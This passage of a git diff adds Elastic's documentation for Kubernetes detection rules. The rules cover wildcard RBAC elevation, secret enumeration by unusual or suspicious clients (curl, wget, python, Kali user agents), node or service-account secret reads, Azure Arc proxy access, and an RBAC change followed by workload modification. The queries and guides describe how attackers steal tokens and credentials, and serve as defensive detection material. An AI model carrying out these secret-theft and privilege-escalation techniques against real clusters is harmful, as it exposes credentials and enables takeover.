Role + +Flags an existing Role or ClusterRole being changed (patch or update) so the effective rules become cluster-admin-like: wildcard on every API resource and wildcard on every verb. That is usually a deliberate privilege expansion, not a typo. RequestResponse audit and the response body are required so the detection reads the merged role after apply; loopback source IPs are ignored. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1098/006/ +* https://kubernetes.io/docs/reference/access-authn-authz/rbac/ + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: ES|QL +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kubernetes RBAC Wildcard Elevation on Existing Role* + + +Someone patched or updated a Role or ClusterRole so the stored rules grant star verbs and star resources—near +cluster-admin breadth on that scope. Confirm the actor (user, group, impersonation), client, and non-loopback source +IP; then see who can bind that role. + + +*Possible investigation steps* + + +- Diff the role YAML before and after; list RoleBindings and ClusterRoleBindings that reference it and which subjects + gained the widened access. +- In the same window, check secret reads, exec, and further RBAC changes from the same identity. + + +*False positive analysis* + + +- Approved GitOps or vendor upgrades sometimes widen a known ClusterRole; allowlist stable automation when documented. + + +*Response and remediation* + + +- Revert the role, drop unexpected bindings, rotate credentials for the actor, and block future wildcard RBAC outside + governed pipelines (policy-as-code, PR-only RBAC). + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-kubernetes.audit_logs-* metadata _id, _index, _version +| where + kubernetes.audit.objectRef.resource in ("roles", "clusterroles") and + kubernetes.audit.verb in ("update", "patch") and + `kubernetes.audit.annotations.authorization_k8s_io/decision` == "allow" and + kubernetes.audit.level == "RequestResponse" and + kubernetes.audit.stage == "ResponseComplete" and + kubernetes.audit.sourceIPs is not null and + not kubernetes.audit.sourceIPs in ("::1", "127.0.0.1") and + KQL(""" kubernetes.audit.responseObject.rules.verbs:"*" and kubernetes.audit.responseObject.rules.resources:"*" """) +| keep user.name, user_agent.original, event.action, source.ip, kubernetes.audit.verb, kubernetes.audit.objectRef.resource, kubernetes.audit.objectRef.name, kubernetes.audit.requestURI, kubernetes.audit.user.username, kubernetes.audit.user.groups, `kubernetes.audit.annotations.authorization_k8s_io/decision`, event.original, _id, _version, _index, data_stream.namespace + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-secret-access-via-unusual-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-secret-access-via-unusual-user-agent.asciidoc new file mode 100644 index 0000000000..5cf25c2c97 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-secret-access-via-unusual-user-agent.asciidoc @@ -0,0 +1,115 @@ +[[prebuilt-rule-8-19-34-kubernetes-secret-access-via-unusual-user-agent]] +=== Kubernetes Secret Access via Unusual User Agent + +This rule detects when secrets are accessed via an unusual user agent, user name and source IP. Attackers may attempt to access secrets in a Kubernetes cluster to gain access to sensitive information after gaining access to the cluster. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: New Terms +* Platform: Kubernetes +* Domain: Containers + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Secret Access via Unusual User Agent* + + +This rule flags requests to read or enumerate Kubernetes secrets when they come from an uncommon client profile, account, and network source, which can expose tokens, keys, and passwords that unlock wider cluster or cloud access. A common attacker pattern is to compromise a pod or steal a kubeconfig, then use curl or a custom script from a new host to pull service-account tokens, registry credentials, or application secrets for follow-on movement. + + +*Possible investigation steps* + + +- Determine whether the requesting identity, source IP, and user agent align with a known administrator workstation, CI/CD runner, controller, or approved automation path by validating change records, VPN or proxy logs, and asset ownership. +- Review the exact secret names and namespaces accessed to assess impact, prioritizing service-account tokens, registry credentials, cloud keys, kubeconfigs, and secrets tied to production or highly privileged workloads. +- Compare the event to the identity’s historical Kubernetes activity to confirm whether the client pattern, originating network, targeted namespaces, or access volume are new or unusually broad for that account. +- Correlate nearby cluster and cloud activity from the same identity or source for signs of follow-on actions such as pod exec, token creation, role binding changes, API discovery bursts, or authentication attempts using newly exposed credentials. +- If the access is not clearly authorized, contain by revoking or rotating the exposed secrets and linked credentials, then inspect the originating host or pod and its RBAC permissions for evidence of compromise or misuse. + + +*False positive analysis* + + +- A cluster administrator may legitimately use curl, a browser, or a custom script from a newly assigned workstation or bastion host to inspect a secret during troubleshooting, so verify the activity against approved maintenance records and confirm the source IP and user identity map to that authorized host and user. +- A workload or internal automation can access secrets through a nonstandard Kubernetes API client after a deployment, restart, or credential rotation, so confirm the service account, namespace, and RBAC scope match the application’s expected behavior and correlate the timing with recent operational changes. + + +*Response and remediation* + + +- Isolate the source of the secret access by quarantining the implicated workstation or pod, cordoning the hosting node if needed, and temporarily blocking its network path to the Kubernetes API server and other sensitive services. +- Revoke the attacker’s access by disabling the abused user or service account, deleting exposed or suspicious kubeconfigs, API tokens, CronJobs, DaemonSets, backdoor pods, and any newly created RoleBindings or ClusterRoleBindings tied to the activity. +- Rotate every secret that was read or listed and all downstream credentials it protects, including service-account tokens, registry passwords, cloud IAM keys, database credentials, and application secrets, then restart affected workloads so they load the new values from trusted sources. +- Restore the cluster to a known-good state by redeploying affected workloads from trusted images and manifests, validating namespaces and mounts against approved baselines, and removing any unauthorized containers or helper utilities left behind for persistence. +- Escalate to incident response immediately if the access touched production namespaces, cluster-admin or cloud-linked credentials, multiple namespaces, or was followed by pod exec, token creation, or lateral movement from the same host or account. +- Harden against recurrence by reducing secret-read permissions to only required service accounts, forcing administrative access through approved bastions, enforcing short-lived credentials with regular rotation, and alerting on nonstandard clients or sudden secret enumeration activity. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"kubernetes.audit_logs" and kubernetes.audit.objectRef.resource:"secrets" and +kubernetes.audit.verb:("get" or "list") and user_agent.original:(* and not (*kubernetes/$Format)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-secret-get-or-list-from-node-or-pod-service-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-secret-get-or-list-from-node-or-pod-service-account.asciidoc new file mode 100644 index 0000000000..74736478d3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-secret-get-or-list-from-node-or-pod-service-account.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-34-kubernetes-secret-get-or-list-from-node-or-pod-service-account]] +=== Kubernetes Secret Get or List from Node or Pod Service Account + +Kubernetes audit identities for kubelet (system:node:*) and workloads (system:serviceaccount:*) are meant to operate with tight, predictable API usage. Direct get or list on the Secrets API from those principals is often a sign of credential access. Attackers who stole a pod service-account token or node credentials sweep Secret objects for tokens, registry credentials, TLS keys, or application configuration. Even denied attempts still reveal intent to reach sensitive material. Legitimate controllers do read secrets they mount or manage, so this signal is most valuable when paired with triage (namespace scope, user agent, RBAC, and whether the identity should touch those secret names at all). + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1552/007/ +* https://kubernetes.io/docs/reference/access-authn-authz/authentication/#service-account-tokens + +*Tags*: + +* Data Source: Kubernetes +* Data Source: Kubernetes API Server Audit Logs +* Domain: Kubernetes +* Platform: Kubernetes +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Domain: Containers +* Domain: Cloud + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kubernetes Secret Get or List from Node or Pod Service Account* + + +This rule fires on Kubernetes audit events where the authenticated user is a node (`system:node:`) or a +pod service account (`system:serviceaccount::`) and the verb maps to read-style access +(`get`, `list`) on the **secrets** resource. Treat node-originated secret reads as high priority: kubelet should +not broadly enumerate cluster secrets. For service accounts, prioritize cross-namespace access, access to +high-value secret names, and clients that do not match the workload’s normal user agent or deployment. + + +*Possible investigation steps* + + +- Resolve `user.name` (or `kubernetes.audit.user.username` if present) to the node or workload and review RBAC + RoleBindings and ClusterRoleBindings for secret `get`/`list` scope. +- Inspect `kubernetes.audit.objectRef.namespace`, `kubernetes.audit.objectRef.name`, source IP, and + `user_agent.original` for automation you recognize versus anomalous scripts or generic HTTP clients. +- Review `kubernetes.audit.annotations.authorization_k8s_io/decision` for successful reads versus probing denials. +- Correlate with pod exec, token creation, RoleBinding changes, or secret modification in the same time window. + + +*False positive analysis* + + +- Controllers that reconcile Secrets (e.g. cert-manager, external-secrets, sealed-secrets) may match; allowlist their + service accounts if behavior is expected and scoped. +- Helm and package managers can list release secrets during deploys; correlate with pipelines and chart releases. + + +*Response and remediation* + + +- If malicious, revoke the token or node credentials, cordon or isolate the host or workload, rotate exposed secrets, and + tighten RBAC to least privilege for the affected identity. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"kubernetes.audit_logs" and +event.action:(get or list) and +kubernetes.audit.objectRef.resource:"secrets" and +user.name:(system\:serviceaccount\:* or system\:node\:*) and source.ip:(* and not "127.0.0.1") and +not kubernetes.audit.user.groups:( + "system:serviceaccounts:flux-system" + or "system:serviceaccounts:kyverno" + or "system:serviceaccounts:ibm-csi" + or "system:serviceaccounts:harvester-system" + or "system:serviceaccounts:cattle-system" + or "system:serviceaccounts:cattle-monitoring-system" + or system\:serviceaccounts\:cluster-fleet-local-local-* + or "system:serviceaccounts:rabbitmq-system" + or "system:serviceaccounts:cattle-fleet-system" +) and +not (kubernetes.audit.user.username:"system:serviceaccount:security:trivy-operator" and kubernetes.audit.user.extra.authentication.kubernetes.io/pod-name :trivy-operator-*) and +not (kubernetes.audit.user.username:"system:serviceaccount:cert-manager:cert-manager-cainjector" and kubernetes.audit.user.extra.authentication.kubernetes.io/pod-name:cert-manager-cainjector-*) and +not (kubernetes.audit.user.username:"system:serviceaccount:monitoring:plat-central-monitoring-pr-operator" and kubernetes.audit.user.extra.authentication.kubernetes.io/pod-name:plat-central-monitoring-pr-operator*) and +not (kubernetes.audit.user.username:"system:serviceaccount:cert-manager:cert-manager" and kubernetes.audit.user.extra.authentication.kubernetes.io/pod-name:cert-manager-*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-secret-get-or-list-with-suspicious-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-secret-get-or-list-with-suspicious-user-agent.asciidoc new file mode 100644 index 0000000000..0edd02b579 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-secret-get-or-list-with-suspicious-user-agent.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-34-kubernetes-secret-get-or-list-with-suspicious-user-agent]] +=== Kubernetes Secret Get or List with Suspicious User Agent + +Detects read access to Kubernetes Secrets (get/list) with a user agent matching a curated set of non-standard or attacker-leaning clients, for example minimal HTTP tooling, common scripting stacks, default library fingerprints, or distribution-tagged strings associated with offensive-security Linux images. Legitimate in-cluster automation usually presents stable, purpose-specific user agents (for example controller or client-go variants used by known components). + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1552/007/ +* https://kubernetes.io/docs/concepts/configuration/secret/ + +*Tags*: + +* Data Source: Kubernetes +* Data Source: Kubernetes API Server Audit Logs +* Domain: Kubernetes +* Platform: Kubernetes +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Domain: Containers +* Domain: Cloud + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kubernetes Secret Get or List with Suspicious User Agent* + + +The rule matches Kubernetes audit events for **secret** `get`/`list` where **`user_agent.original`** matches a **small +allowlist of suspicious patterns** (scripting runtimes, bare HTTP clients, and known offensive-distro markers) and +**`source.ip` is populated**. It is meant to highlight **credential access** where the client fingerprint does not look +like routine kubectl or well-known controller traffic relative to your environment. + + +*Possible investigation steps* + + +- Tie `user.name` (and `kubernetes.audit.impersonatedUser.*` if present) to a human, service account, or cloud identity + and validate whether that principal should use this user-agent profile against the targeted namespaces and secret names. +- Review `kubernetes.audit.objectRef.namespace` and `kubernetes.audit.objectRef.name` for high-value objects (service + account tokens, cloud IAM bindings, registry pulls, TLS bundles). +- Pivot on `source.ip` in VPC flow, VPN, or proxy logs to determine origin (employee laptop, compromised host, cloud + instance) and correlate with other API bursts or exec activity. +- Check `kubernetes.audit.annotations.authorization_k8s_io/decision` for successful reads versus failed probing. + + +*False positive analysis* + + +- CI, GitOps, or one-off scripts can emit generic user agents with broad RBAC; exclude stable pipelines and service + accounts after review. +- Local API server loopback may still populate `source.ip` in some topologies; compare with expected control-plane paths. + + +*Response and remediation* + + +- If unauthorized, rotate affected secrets and credentials, revoke tokens or kubeconfigs for the identity, tighten RBAC, + and block or isolate the source host at the network edge to the API server where appropriate. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"kubernetes.audit_logs" and +event.action:(get or list) and +kubernetes.audit.objectRef.resource:"secrets" and +event.outcome:"success" and +user_agent.original:(curl* or python* or Python* or wget* or Go-http* or perl* or java* or node* or php* or *distrib#kali* or *kali-amd64* or *kali-arm64* or Bun* or axios* or undici*) and +source.ip:* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-secret-or-configmap-access-via-azure-arc-proxy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-secret-or-configmap-access-via-azure-arc-proxy.asciidoc new file mode 100644 index 0000000000..80a47ac85c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-secret-or-configmap-access-via-azure-arc-proxy.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-34-kubernetes-secret-or-configmap-access-via-azure-arc-proxy]] +=== Kubernetes Secret or ConfigMap Access via Azure Arc Proxy + +Detects when secrets or configmaps are accessed, created, modified, or deleted in a Kubernetes cluster by the Azure Arc AAD proxy service account. When operations are routed through the Azure Arc Cluster Connect proxy, the Kubernetes audit log records the acting user as system:serviceaccount:azure-arc:azure-arc-kube-aad-proxy-sa with the actual caller identity in the impersonatedUser field. This pattern indicates that someone is accessing the cluster through the Azure ARM API rather than directly via kubectl against the API server. While legitimate for Arc-managed workflows, adversaries with stolen service principal credentials can abuse Arc Cluster Connect to read, exfiltrate, or modify secrets and configmaps while appearing as the Arc proxy service account in K8s audit logs. This rule uses a 5-day new-terms history window keyed on the impersonated identity and alerts the first time that Azure AD principal performs this activity. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 9m + +*Searches indices from*: now-5d ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/azure/azure-arc/kubernetes/cluster-connect +* https://microsoft.github.io/Threat-Matrix-for-Kubernetes/ +* https://www.ibm.com/think/x-force/identifying-abusing-azure-arc-for-hybrid-escalation-persistence +* https://cloud.google.com/blog/topics/threat-intelligence/escalating-privileges-azure-kubernetes-services +* https://www.wiz.io/blog/lateral-movement-risks-in-the-cloud-and-how-to-prevent-them-part-3-from-compromis + +*Tags*: + +* Data Source: Kubernetes +* Data Source: Kubernetes API Server Audit Logs +* Domain: Kubernetes +* Platform: Kubernetes +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Collection +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: ES|QL +* Domain: Containers + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kubernetes Secret or ConfigMap Access via Azure Arc Proxy* + + +When Kubernetes operations are performed through Azure Arc Cluster Connect, the K8s audit log shows the Arc AAD proxy +service account as the authenticated user, with the actual Azure AD identity in the `impersonatedUser` field. This +rule detects non-system secret and configmap access — including reads, writes, and deletions — routed through this +proxy path. Read operations (`get`, `list`) are particularly important to detect as they represent the most common +adversary action: exfiltrating secrets without leaving obvious modification traces. + +This rule uses a new terms approach keyed on `kubernetes.audit.impersonatedUser.username`, so it fires the first time a +given impersonated identity performs this activity within the 5-day history window. + + +*Possible investigation steps* + + +- Check the `kubernetes.audit.impersonatedUser.username` field — this contains the Azure AD object ID of the actual + caller. Cross-reference with Azure AD to identify the service principal or user. +- Review the `kubernetes.audit.impersonatedUser.extra.oid` field for the Azure AD object ID. +- Examine the namespace — operations in `default` or application namespaces are more suspicious than `azure-arc` or + `kube-system`. +- Check the `kubernetes.audit.objectRef.name` — look for suspicious secret/configmap names that don't match known + application resources. +- Correlate with Azure Activity Logs for the same time window to find the `LISTCLUSTERUSERCREDENTIAL` operation that + initiated the Arc proxy session. +- Review Azure Sign-In Logs for the impersonated identity's authentication source IP and geolocation. + + +*Response and remediation* + + +- If the impersonated identity is not recognized, revoke its Azure AD credentials immediately. +- Remove the ClusterRoleBinding or RoleBinding that grants the identity access to secrets/configmaps. +- Rotate any Kubernetes secrets that may have been read or exfiltrated. +- Review the Arc connection and consider disconnecting it if compromised. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-kubernetes.audit_logs-* metadata _id, _version, _index +| WHERE STARTS_WITH(kubernetes.audit.user.username, "system:serviceaccount:azure-arc:") + AND kubernetes.audit.objectRef.resource IN ("secrets", "configmaps") + AND kubernetes.audit.verb IN ("get", "list", "create", "update", "patch", "delete") + AND kubernetes.audit.objectRef.namespace NOT IN ("azure-arc", "azure-arc-release", "kube-system") + AND NOT STARTS_WITH(kubernetes.audit.objectRef.name, "sh.helm.release.v1") + +| STATS + Esql.verb_values = VALUES(kubernetes.audit.verb), + Esql.resource_type_values = VALUES(kubernetes.audit.objectRef.resource), + Esql.resource_name_values = VALUES(kubernetes.audit.objectRef.name), + Esql.namespace_values = VALUES(kubernetes.audit.objectRef.namespace), + Esql.data_stream_namespace_values = VALUES(data_stream.namespace), + Esql.acting_user_values = VALUES(kubernetes.audit.user.username), + Esql.user_agent_values = VALUES(kubernetes.audit.userAgent), + Esql.source_ips_values = VALUES(kubernetes.audit.sourceIPs), + Esql.response_code_values = VALUES(kubernetes.audit.responseStatus.code), + Esql.timestamp_first_seen = MIN(@timestamp), + Esql.timestamp_last_seen = MAX(@timestamp), + Esql.event_count = COUNT(*) + BY kubernetes.audit.impersonatedUser.username + +| WHERE Esql.timestamp_first_seen >= NOW() - 9 minutes +| KEEP kubernetes.audit.impersonatedUser.username, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-secrets-list-across-cluster-or-sensitive-namespaces.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-secrets-list-across-cluster-or-sensitive-namespaces.asciidoc new file mode 100644 index 0000000000..b940007b68 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-secrets-list-across-cluster-or-sensitive-namespaces.asciidoc @@ -0,0 +1,115 @@ +[[prebuilt-rule-8-19-34-kubernetes-secrets-list-across-cluster-or-sensitive-namespaces]] +=== Kubernetes Secrets List Across Cluster or Sensitive Namespaces + +Detects list operations on Kubernetes Secrets from a non-loopback client when the request URI targets cluster-wide secrets or list operations under kube-system or default. Useful for spotting broad secret enumeration from remote clients. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1552/007/ + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kubernetes Secrets List Across Cluster or Sensitive Namespaces* + + +Audit events for `list` on the `secrets` resource against `/api/v1/secrets`, paginated cluster lists, or namespace-scoped +lists under `kube-system` or `default`, from a source IP that is not localhost. + + +*Investigation steps* + + +- Confirm the actor (`user.name`, groups) and whether the client is expected (CI, admin bastion, controller). +- Review `kubernetes.audit.requestURI`, `user_agent.original`, and follow-on API activity from the same source. +- Assess exposure: cluster-wide secret listing can surface many credentials. + + +*False positives* + + +- Legitimate controllers or operators listing secrets in `kube-system` / `default` from cluster nodes may match; tune by + source IP, user agent, or service account as needed. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:"kubernetes.audit_logs" and event.action:list and +kubernetes.audit.objectRef.resource:secrets and +kubernetes.audit.requestURI :(/api/v1/secrets or /api/v1/secrets?limit* or /api/v1/namespaces/kube-system/secrets or /api/v1/namespaces/kube-system/secrets?limit* or /api/v1/namespaces/default/secrets or /api/v1/namespaces/default/secrets?limit*) and +source.ip:(* and not ("::1" or "127.0.0.1")) and +not user.name: (system\:kube-controller-manager or eks\:cloud-controller-manager or eks\:kms-storage-migrator or "system:serviceaccount:argocd:argocd-application-controller" or "system:serviceaccount:elastic:kube-state-metrics" or "system:serviceaccount:cert-manager:cert-manager-cainjector" or "system:serviceaccount:elastic-system:elastic-agent" or "system:serviceaccount:longhorn-system:longhorn-service-account") and +not kubernetes.audit.user.groups:("system:serviceaccounts:ibm-csi" or "system:serviceaccounts:argocd" or "system:serviceaccounts:elastic") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-sensitive-rbac-change-followed-by-workload-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-sensitive-rbac-change-followed-by-workload-modification.asciidoc new file mode 100644 index 0000000000..33ae61399c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-sensitive-rbac-change-followed-by-workload-modification.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-34-kubernetes-sensitive-rbac-change-followed-by-workload-modification]] +=== Kubernetes Sensitive RBAC Change Followed by Workload Modification + +Detects a sequence where a principal creates or modifies a Role/ClusterRole to include high-risk permissions (e.g., wildcard access or escalation verbs) and then creates or patches a workload resource (DaemonSet, Deployment, or CronJob) shortly after, which may indicate RBAC-based privilege escalation followed by payload deployment. This pattern is often used by adversaries to gain unauthorized access to sensitive resources and deploy malicious payloads. + +*Rule type*: eql + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#overly-permissive-role-based-access-control + +*Tags*: + +* Data Source: Kubernetes +* Data Source: Kubernetes API Server Audit Logs +* Domain: Containers +* Domain: Kubernetes +* Platform: Kubernetes +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide +* Rule Type: Event Correlation (EQL) +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Domain: Cloud + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Sensitive RBAC Change Followed by Workload Modification* + + +This rule detects when a user grants or broadens high-risk permissions in a Role/ClusterRole and then quickly creates or patches a DaemonSet, Deployment, or CronJob, a strong signal of RBAC-driven privilege escalation followed by payload deployment. Attackers often add wildcard access or escalation verbs to a new role, bind it to their identity, then patch a workload to run a malicious container across nodes or on a schedule to establish persistence. + + +*Possible investigation steps* + + +- Review the Role/ClusterRole change diff to identify newly granted wildcard resources/verbs or escalation permissions (e.g., bind, impersonate, escalate) and determine the effective access increase for the actor. +- Identify any RoleBinding/ClusterRoleBinding creations or updates 